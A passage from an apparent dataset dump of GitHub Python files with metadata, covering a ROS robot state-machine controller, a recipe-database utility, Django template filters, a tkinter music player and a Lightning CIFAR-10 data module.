raise rospy.ROSException\n \n self._surge_pid = PID(rospy.get_param('~surge_pid'))\n self._sway_pid = PID(rospy.get_param('~sway_pid'))\n self._yaw_pid = PID(rospy.get_param('~yaw_pid'))\n\n self.rate = rospy.Rate(5)\n\n self.last_msgs = {'ROBOT': TwistStamped(), \n 'LINE': TwistStamped(), \n 'BASKET': TwistStamped()}\n\n rospy.Subscriber('robot_pose', TwistStamped, self.msg_callback, 'ROBOT')\n rospy.Subscriber('line_pose', TwistStamped, self.msg_callback, 'LINE')\n rospy.Subscriber('basket_pose', TwistStamped, self.msg_callback, 'BASKET')\n\n self._surge_publisher = rospy.Publisher('surge', Float64, queue_size=1)\n self._sway_publisher = rospy.Publisher('sway', Float64, queue_size=1)\n self._yaw_publisher = rospy.Publisher('yaw', Float64, queue_size=1)\n self._heave_publisher = rospy.Publisher('heave', Float64, queue_size=1)\n \n self.state_change_time = rospy.Time.now()\n \n def msg_callback(self, msg, sender):\n self.last_msgs[sender] = msg\n\n def set_effort(self, surge, sway, yaw):\n self._surge_publisher.publish(surge)\n self._sway_publisher.publish(sway)\n self._yaw_publisher.publish(yaw)\n\n def move_straight(self):\n yaw_error = self._yaw_sp - self.last_msgs['ROBOT'].twist.angular.z\n yaw_error = atan2(sin(yaw_error), cos(yaw_error))\n yaw_effort = self._yaw_pid.update(yaw_error)\n self.set_effort(30, 0, yaw_effort)\n \n def follow_line(self):\n surge_effort = self._surge_pid.update(pi/4 - abs(self.last_msgs['LINE'].twist.angular.z) / (pi/4))\n sway_effort = self._sway_pid.update(self.last_msgs['LINE'].twist.linear.y)\n yaw_error = atan2(sin(self.last_msgs['LINE'].twist.angular.z), # error -> [-pi, pi]\n cos(self.last_msgs['LINE'].twist.angular.z)) \n yaw_effort = self._yaw_pid.update(yaw_error)\n self.set_effort(surge_effort, sway_effort, yaw_effort)\n \n def follow_basket(self):\n surge_effort = -self._surge_pid.update(self.last_msgs['BASKET'].twist.linear.x)\n sway_effort = self._sway_pid.update(self.last_msgs['BASKET'].twist.linear.y)\n yaw_error = self._yaw_sp - self.last_msgs['ROBOT'].twist.angular.z\n yaw_error = atan2(sin(yaw_error), cos(yaw_error))\n yaw_effort = self._yaw_pid.update(yaw_error)\n self.set_effort(surge_effort, sway_effort, yaw_effort)\n\n def emerge(self):\n self.set_heave(20)\n sway_effort = copysign(30, self.last_msgs['LINE'].twist.linear.y)\n yaw_error = self._yaw_sp - self.last_msgs['ROBOT'].twist.angular.z\n yaw_error = atan2(sin(yaw_error), cos(yaw_error))\n yaw_effort = self._yaw_pid.update(yaw_error)\n self.set_effort(30, sway_effort, yaw_effort)\n\n def search_for_line(self):\n self.set_effort(0, 0.0, 0.0)\n # self.set_effort(-30, 0.0, 0.0)\n\n def set_heave(self, heave):\n self._heave_publisher.publish(heave)\n \n def set_yaw_sp(self, yaw_sp=0):\n self._yaw_sp = yaw_sp\n \n def object_found(self, obj):\n if (rospy.Time.now() - self.last_msgs[obj].header.stamp).to_sec() < 2:\n return True\n else:\n return False\n \n\nif __name__ == '__main__':\n rospy.init_node('test')\n\n c = Controller()\n sm = smach.StateMachine(outcomes=['aborted'])\n with sm:\n smach.StateMachine.add('MOVE_STRAIGHT', MoveStraight(c),\n transitions={'found_line': 'LINE_SM',\n 'aborted': 'STOP'})\n smach.StateMachine.add('STOP', Stop(c),\n transitions={'found_line': 'LINE_SM', \n 'found_basket': 'BASKET_SM',\n 'aborted': 'aborted'})\n\n sm_line = smach.StateMachine(outcomes=['aborted', 'found_basket'])\n with sm_line:\n smach.StateMachine.add('FOLLOW_LINE', FollowLine(c), \n transitions={'lost_line': 'RETURN_ON_LINE',\n 'found_basket': 'found_basket',\n 'aborted': 'aborted'}) \n smach.StateMachine.add('RETURN_ON_LINE', ReturnOnLine(c), \n transitions={'found_line': 'FOLLOW_LINE',\n 'aborted': 'aborted'}) \n\n sm_basket = smach.StateMachine(outcomes=['aborted'])\n with sm_basket:\n smach.StateMachine.add('STAY_ON_BASKET', StayOnBasket(c),\n transitions={'succeeded': 'SUBMERGE',\n 'aborted': 'aborted'})\n smach.StateMachine.add('SUBMERGE', Submerge(c),\n transitions={'succeeded': 'EMERGE',\n 'aborted': 'aborted'})\n smach.StateMachine.add('EMERGE', Emerge(c),\n transitions={'aborted': 'aborted'})\n\n smach.StateMachine.add('LINE_SM', sm_line, \n transitions={'aborted': 'STOP',\n 'found_basket': 'BASKET_SM'})\n\n smach.StateMachine.add('BASKET_SM', sm_basket, \n transitions={'aborted': 'STOP'}) \n \n # Create and start the introspection server\n # sis = smach_ros.IntrospectionServer('server_name', sm, '/SM_ROOT')\n # sis.start()\n\n # Execute the state machine\n outcome = sm.execute()\n\n # Wait for ctrl-c to stop the application\n # rospy.spin()\n # sis.stop()\n", "repo_name": "stsssts/pid_regulator", "sub_path": "src/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 10916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "smach.State", "line_number": 14, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 16, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 20, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 22, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 27, "usage_type": "name"}, {"api_name": "smach.State", "line_number": 36, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 38, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 38, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 42, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 43, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 46, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rospy.Duration", "line_number": 46, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 53, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 55, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 55, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 59, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 61, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 62, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 62, "usage_type": "attribute"}, {"api_name": "rospy.Duration", "line_number": 62, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 71, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 73, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 73, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 77, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 80, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 81, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rospy.Duration", "line_number": 81, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 90, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 92, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 92, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 96, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 96, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 97, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 98, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 98, "usage_type": "attribute"}, {"api_name": "rospy.Duration", "line_number": 98, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 106, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 108, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 108, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 112, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 112, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 113, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 114, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 114, "usage_type": "attribute"}, {"api_name": "rospy.Duration", "line_number": 114, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 122, "usage_type": "attribute"}, {"api_name": "smach.State.__init__", "line_number": 124, "usage_type": "call"}, {"api_name": "smach.State", "line_number": 124, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 128, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 128, "usage_type": "attribute"}, {"api_name": "rospy.is_shutdown", "line_number": 130, "usage_type": "call"}, {"api_name": "rospy.has_param", "line_number": 142, "usage_type": "call"}, {"api_name": "rospy.has_param", "line_number": 143, "usage_type": "call"}, {"api_name": "rospy.logerr", "line_number": 144, "usage_type": "call"}, {"api_name": "rospy.ROSException", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pid.PID", "line_number": 147, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 147, "usage_type": "call"}, {"api_name": "pid.PID", "line_number": 148, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 148, "usage_type": "call"}, {"api_name": "pid.PID", "line_number": 149, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 149, "usage_type": "call"}, {"api_name": "rospy.Rate", "line_number": 151, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 153, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 154, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 155, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 157, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 157, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 158, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 158, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 159, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TwistStamped", "line_number": 159, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 161, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float64", "line_number": 161, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 162, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float64", "line_number": 162, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 163, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float64", "line_number": 163, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 164, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float64", "line_number": 164, "usage_type": "argument"}, {"api_name": "rospy.Time.now", "line_number": 166, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 166, "usage_type": "attribute"}, {"api_name": "math.atan2", "line_number": 178, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 178, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 178, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 183, "usage_type": "name"}, {"api_name": "math.atan2", "line_number": 185, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 185, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 186, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 194, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 194, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 194, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 200, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 202, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 202, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 202, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 217, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 217, "usage_type": "attribute"}, {"api_name": "rospy.init_node", "line_number": 224, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 227, "usage_type": "call"}, {"api_name": "smach.StateMachine.add", "line_number": 229, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 229, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 232, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 232, "usage_type": "attribute"}, {"api_name": "smach.StateMachine", "line_number": 237, "usage_type": "call"}, {"api_name": "smach.StateMachine.add", "line_number": 239, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 239, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 243, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 243, "usage_type": "attribute"}, {"api_name": "smach.StateMachine", "line_number": 247, "usage_type": "call"}, {"api_name": "smach.StateMachine.add", "line_number": 249, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 249, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 252, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 252, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 255, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 255, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 258, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 258, "usage_type": "attribute"}, {"api_name": "smach.StateMachine.add", "line_number": 262, "usage_type": "call"}, {"api_name": "smach.StateMachine", "line_number": 262, "usage_type": "attribute"}]} +{"seq_id": "38141251422", "text": "from config import Config\nfrom models import *\nfrom quicktype.recipeType import recipe_from_dict\nfrom ingredient_parser import parse_ingredient\nimport datetime, chardet, json, os\n\nUPLOAD_FOLDER = 'static/img/recipeImages/'\n\n\ndef allowed_file(filename): \n return '.' in filename and filename.rsplit('.', 1)[1].lower() in Config.ALLOWED_EXTENSIONS\n\n\ndef logThis(function, user, userID, recipe, recipeID):\n date = datetime.now()\n dateString = str(date)\n tuple = ('[',dateString,'] ',user,':',userID,' ',function,' ',recipe,':',recipeID)\n log = \"\".join(map(str, tuple))\n with open(\"log.txt\", \"a+\") as file_object:\n # Move read cursor to the start of file.\n file_object.seek(0)\n # If file is not empty then append '\\n'\n data = file_object.read(100)\n if len(data) > 0 :\n file_object.write(\"\\n\")\n file_object.write(log)\n \n \ndef populate():\n with open('ecochef.json', 'rb') as f:\n result = chardet.detect(f.read())\n\n with open('ecochef.json', encoding=result['encoding']) as f:\n data = json.load(f)\n \n for count, i in enumerate(data):\n recipe = recipe_from_dict(i)\n id = count\n title = recipe.title\n description = recipe.description\n category = recipe.category\n ratingAvg = recipe.aggregate_rating.rating_value\n ratingCount = recipe.aggregate_rating.rating_count\n prepTime = convertTime(recipe.prep_time)\n cookTime = convertTime(recipe.cook_time)\n servings = recipe.servings\n dateCreated = recipe.date_published\n \n instructions = []\n for step in recipe.instructions:\n instructions.append(step.text)\n \n # Get Image Url\n if recipe.image and recipe.image is not None:\n imageURL = recipe.image.url\n else:\n imageURL = 'default.jpg'\n \n \n # Get Video Url\n if recipe.video and recipe.video != 'No Video':\n videoURL = recipe.video.embed_url\n else:\n videoURL = 'No Video'\n \n \n new_recipe = Recipes(title=title,\n category=category[0],\n description=description,\n instructions=instructions[0],\n imageURL=imageURL,\n videoURL=videoURL,\n prepTime=prepTime,\n cookTime=cookTime,\n ratingAvg=ratingAvg,\n ratingCount=ratingCount,\n servings=servings,\n dateCreated=dateCreated)\n \n for ingredient in recipe.ingredients:\n parsedIngredient = parse_ingredient(ingredient)\n newIngredient = Ingredients(name=parsedIngredient['name'], \n amount=parsedIngredient['quantity'], \n unit=parsedIngredient['unit'])\n new_recipe.ingredients.append(newIngredient)\n \n \n for review in recipe.reviews:\n review = Reviews(author=review.name, \n rating=review.rating, \n body=review.body)\n new_recipe.reviews.append(review)\n \n \n nutrition = Nutrition(calories = recipe.nutrition.calories,\n carbohydrate = recipe.nutrition.carbohydrate,\n cholesterol = recipe.nutrition.cholesterol,\n fiber = recipe.nutrition.fiber,\n protein = recipe.nutrition.protein,\n saturatedFat = recipe.nutrition.saturated_fat,\n sodium = recipe.nutrition.sodium,\n sugar = recipe.nutrition.sugar,\n fat = recipe.nutrition.fat,\n unsaturatedFat = recipe.nutrition.unsaturated_fat) \n new_recipe.nutrition.append(nutrition)\n \n print('NEW RECIPE =', new_recipe)\n db.session.add(new_recipe)\n db.session.commit()\n f.close()\n \ndef convertTime(time):\n if time is not None:\n minutes_str = time[2:-1]\n if minutes_str.isdigit():\n minutes = int(minutes_str)\n return minutes\n else:\n return \"Invalid time format\"\n else:\n return \"0\"", "repo_name": "OmriWebber/ecochef-api", "sub_path": "util/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 4405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "config.Config.ALLOWED_EXTENSIONS", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "chardet.detect", "line_number": 31, "usage_type": "call"}, {"api_name": "json.load", "line_number": 34, "usage_type": "call"}, {"api_name": "quicktype.recipeType.recipe_from_dict", "line_number": 37, "usage_type": "call"}, {"api_name": "ingredient_parser.parse_ingredient", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "23752874378", "text": "from django import template\n\n\nregister = template.Library()\n\n\n@register.filter(name='get_file')\ndef has_type(file, name):\n if file.file_category == name:\n return file\n else:\n pass\n\n\n@register.filter(name='add_class')\n@register.filter\ndef add_class(field, class_name):\n return field.as_widget(attrs={\n \"class\": \" \".join((field.css_classes(), class_name))\n })\n\n\n@register.filter(name='invert_dir')\ndef invert_dir(dir, language_code):\n if language_code == 'en':\n return dir\n if dir == 'left':\n return 'right'\n return 'left'\n", "repo_name": "mohamedsaber12/cashout", "sub_path": "data/templatetags/custom_tags.py", "file_name": "custom_tags.py", "file_ext": "py", "file_size_in_byte": 613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.template.Library", "line_number": 4, "usage_type": "call"}, {"api_name": "django.template", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "10636550143", "text": "import os\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\nfrom pygame import mixer\r\n\r\ndef play_music():\r\n selected_song = playlist_listbox.get(tk.ACTIVE)\r\n if selected_song:\r\n selected_song_path = os.path.join(music_directory, selected_song)\r\n mixer.music.load(selected_song_path)\r\n mixer.music.play()\r\n\r\ndef stop_music():\r\n mixer.music.stop()\r\n\r\ndef pause_music():\r\n mixer.music.pause()\r\n\r\ndef unpause_music():\r\n mixer.music.unpause()\r\n\r\ndef select_music_directory():\r\n global music_directory\r\n music_directory = filedialog.askdirectory()\r\n update_playlist()\r\n\r\ndef add_song_to_playlist():\r\n song = filedialog.askopenfilename(filetypes=[(\"Audio Files\", \"*.mp3 *.wav\")])\r\n if song:\r\n song = os.path.basename(song)\r\n playlist_listbox.insert(tk.END, song)\r\n\r\ndef remove_song_from_playlist():\r\n selected_song_index = playlist_listbox.curselection()\r\n if selected_song_index:\r\n playlist_listbox.delete(selected_song_index)\r\n\r\ndef update_playlist():\r\n playlist_listbox.delete(0, tk.END)\r\n if music_directory:\r\n for root, dirs, files in os.walk(music_directory):\r\n for file in files:\r\n if file.endswith((\".mp3\", \".wav\")):\r\n playlist_listbox.insert(tk.END, file)\r\n\r\n# Initialize the pygame mixer\r\nmixer.init()\r\n\r\n# Create the main window\r\nroot = tk.Tk()\r\nroot.title(\"Advanced Music Player\")\r\n\r\n# Create and configure buttons\r\nplay_button = tk.Button(root, text=\"Play\", command=play_music)\r\nstop_button = tk.Button(root, text=\"Stop\", command=stop_music)\r\npause_button = tk.Button(root, text=\"Pause\", command=pause_music)\r\nunpause_button = tk.Button(root, text=\"Unpause\", command=unpause_music)\r\nselect_dir_button = tk.Button(root, text=\"Select Music Directory\", command=select_music_directory)\r\nadd_song_button = tk.Button(root, text=\"Add Song to Playlist\", command=add_song_to_playlist)\r\nremove_song_button = tk.Button(root, text=\"Remove Song from Playlist\", command=remove_song_from_playlist)\r\n\r\n# Create a listbox for the playlist\r\nplaylist_listbox = tk.Listbox(root, selectmode=tk.SINGLE, height=15, width=50)\r\n\r\n# Grid layout for buttons and listbox\r\nplay_button.grid(row=0, column=0, padx=10, pady=10)\r\nstop_button.grid(row=0, column=1, padx=10, pady=10)\r\npause_button.grid(row=0, column=2, padx=10, pady=10)\r\nunpause_button.grid(row=0, column=3, padx=10, pady=10)\r\nselect_dir_button.grid(row=1, column=0, padx=10, pady=10)\r\nadd_song_button.grid(row=1, column=1, padx=10, pady=10)\r\nremove_song_button.grid(row=1, column=2, padx=10, pady=10)\r\nplaylist_listbox.grid(row=2, column=0, columnspan=4, padx=10, pady=10)\r\n\r\n# Initialize music_directory variable\r\nmusic_directory = \"\"\r\n\r\n# Update the playlist with songs from the selected directory\r\nupdate_playlist()\r\n\r\n# Run the application\r\nroot.mainloop()\r\n", "repo_name": "kundankant/music-player", "sub_path": "music_player.py", "file_name": "music_player.py", "file_ext": "py", "file_size_in_byte": 2843, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "tkinter.ACTIVE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 10, "usage_type": "name"}, {"api_name": "pygame.mixer.music.play", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 11, "usage_type": "name"}, {"api_name": "pygame.mixer.music.stop", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 14, "usage_type": "name"}, {"api_name": "pygame.mixer.music.pause", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 17, "usage_type": "name"}, {"api_name": "pygame.mixer.music.unpause", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 20, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askdirectory", "line_number": 24, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 24, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 28, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tkinter.END", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tkinter.END", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 41, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 47, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 50, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 55, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 56, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 57, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 59, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.Listbox", "line_number": 63, "usage_type": "call"}, {"api_name": "tkinter.SINGLE", "line_number": 63, "usage_type": "attribute"}]} +{"seq_id": "32300212181", "text": "\"\"\"\nMore at https://lightning.ai/docs/pytorch/stable/data/datamodule.html\n\"\"\"\nimport logging\nfrom pathlib import Path\n\nimport lightning.pytorch as pl\nimport torch\nimport torchvision\nfrom pl_bolts.transforms.dataset_normalizations import cifar10_normalization\nfrom torch.utils.data import DataLoader, random_split\nfrom torchvision import transforms\n\n# Create a logger\nlogger = logging.getLogger(Path(__file__).stem)\nlogger.setLevel(logging.INFO)\n\n_DEFAULT_BATCH_SIZE = 32\n# Upscaling the image to match with ImageNet size.\n_DEFAULT_RESIZE_SIZE = 227\n\n\nclass CIFAR10DataModule(pl.LightningDataModule):\n def __init__(self, data_dir: Path, batch_size: int = _DEFAULT_BATCH_SIZE):\n super().__init__()\n self.generator = torch.Generator().manual_seed(42)\n self.data_dir = data_dir\n self.batch_size = batch_size\n self.val_transform = transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Resize((_DEFAULT_RESIZE_SIZE, _DEFAULT_RESIZE_SIZE)),\n cifar10_normalization(),\n ]\n )\n self.train_transform = transforms.Compose(\n [\n transforms.ToTensor(),\n torchvision.transforms.RandomHorizontalFlip(),\n transforms.Resize((_DEFAULT_RESIZE_SIZE, _DEFAULT_RESIZE_SIZE)),\n cifar10_normalization(),\n ]\n )\n\n def prepare_data(self):\n torchvision.datasets.CIFAR10(self.data_dir, train=True, transform=self.train_transform, download=True)\n torchvision.datasets.CIFAR10(self.data_dir, train=False, transform=self.val_transform, download=True)\n\n def setup(self, stage: str):\n \"\"\"Is called from every process across all nodes.\n It also uses every GPUs to perform data processing and state assignement.\n `teardown` is its counterpart used to clean the states.\n \"\"\"\n logger.info(f\"Stage: {stage}\")\n if stage == \"test\" or stage == \"predict\":\n self.cifar_test = torchvision.datasets.CIFAR10(\n self.data_dir, train=False, download=True, transform=self.train_transform\n )\n elif stage == \"fit\" or stage == \"validate\":\n self.cifar_train_val = torchvision.datasets.CIFAR10(\n self.data_dir, train=False, transform=self.val_transform, download=True\n )\n self.cifar_train, self.cifar_val = random_split(self.cifar_train_val, [0.7, 0.3], generator=self.generator)\n\n def train_dataloader(self) -> DataLoader:\n \"\"\"Called by Trainer `.fit` method\"\"\"\n return DataLoader(self.cifar_train, batch_size=self.batch_size)\n\n def val_dataloader(self) -> DataLoader:\n \"\"\"Called by Trainer `validate()` and `validate()` method.\"\"\"\n return DataLoader(self.cifar_val, batch_size=self.batch_size)\n\n def test_dataloader(self) -> DataLoader:\n \"\"\"Called by Trainer `test()` method.\"\"\"\n return DataLoader(self.cifar_test, batch_size=self.batch_size)\n\n def predict_dataloader(self) -> DataLoader:\n \"\"\"Called by Trainer `predict()` method. Use the same data as the test_dataloader.\"\"\"\n return DataLoader(self.cifar_test, batch_size=self.batch_size, num_workers=3)\n", "repo_name": "bledem/deep-learning", "sub_path": "datasets/cifar10.py", "file_name": "cifar10.py", "file_ext": "py", "file_size_in_byte": 3233, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 16, "usage_type": "attribute"}, {"api_name": "lightning.pytorch.LightningDataModule", "line_number": 23, "usage_type": "attribute"}, {"api_name": "lightning.pytorch", "line_number": 23, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.Generator", "line_number": 26, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "pl_bolts.transforms.dataset_normalizations.cifar10_normalization", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 36, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 36, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 38, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Resize", "line_number": 40, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 40, "usage_type": "name"}, {"api_name": "pl_bolts.transforms.dataset_normalizations.cifar10_normalization", "line_number": 41, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 46, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 47, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 56, "usage_type": "call"}, {"api_name": 